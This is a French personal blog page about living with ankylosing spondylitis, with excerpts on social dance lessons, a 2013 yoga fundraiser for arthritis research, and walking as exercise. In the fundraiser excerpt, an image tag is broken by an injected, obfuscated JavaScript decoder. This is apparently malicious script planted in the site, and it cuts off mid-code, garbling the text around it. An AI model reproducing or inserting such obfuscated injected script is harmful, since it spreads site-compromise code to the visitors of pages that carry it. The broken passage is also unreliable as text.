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Ma vie avec la Spondylarthrite Ankylosante – Un p’tit Cha-Cha pour combattre l’arthrite.

cha-chaUn p’tit Cha-Cha pour combattre l’arthrite.

Depuis près de trois ans, mon conjoint et moi prenons des cours de danse sociale dans une école de notre quartier. Je trouve parfois qu’il m’est très difficile d’apprendre à danser avec un corps qui ne veut pas toujours coopérer; parfois une cheville extrêmement douloureuse ou une épaule enflammée m’empêche de faire la routine des mouvements requis. Par contre le bien être mental et physique que je retire de la danse est extrêmement bénéfique pour mon moral. Continue reading

Le Pouvoir en Mouvement

Le Pouvoir en mouvement : la plus grand<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oee collecte de fonds par le yoga au Canada” width=”528″ height=”96″ />Le dimanche 3 mars 2013 marquera le 7e anniversaire du Pouvoir en Mouvement, la plus grande collecte de fonds par le yoga au Canada. L'an dernier, plus de 1 800 participants se sont activés dans un élan de générosité pour venir appuyer cet événement pan-national de l'Arthritis Research Foundation. Le Pouvoir en Mouvement a recueilli plus de 1,3 million de dollars au profit de la recherche sur l'arthrite et les maladies auto-immunes au Canada.

Soyez de la partie cette année en vous inscrivant au www.powerofmovement.ca et faites une différence dans la vie de plus de 4,6 millions de Canadiens et Canadiennes.

Ma vie avec la Spondylarthrite Ankylosante – Mes souliers de marche favoris

Mes souliers de marche favorisMes souliers de marche favoris.

Je marche beaucoup et j’adore cela. Je prends des marches avec mes petits chiens Kiwi et Juliet (mes deux Yorkshire terriers), et aussi avec mon chum quand son émission de télé est terminée (l’hiver il est généralement trop pantouflard pour marcher avec moi à tous les jours…). Je me promène aussi régulièrement seule dans mon quartier et dans les beaux parcs aux alentours de Montréal. Marcher me permet de rester en forme sans que se soit trop difficile pour mon corps et mes articulations. C’est un exercice extrêmement bénéfique pour l’organisme, pour l’esprit et qui donne de l’énergie sans heureusement mettre les joints trop à l’épreuve. Continue reading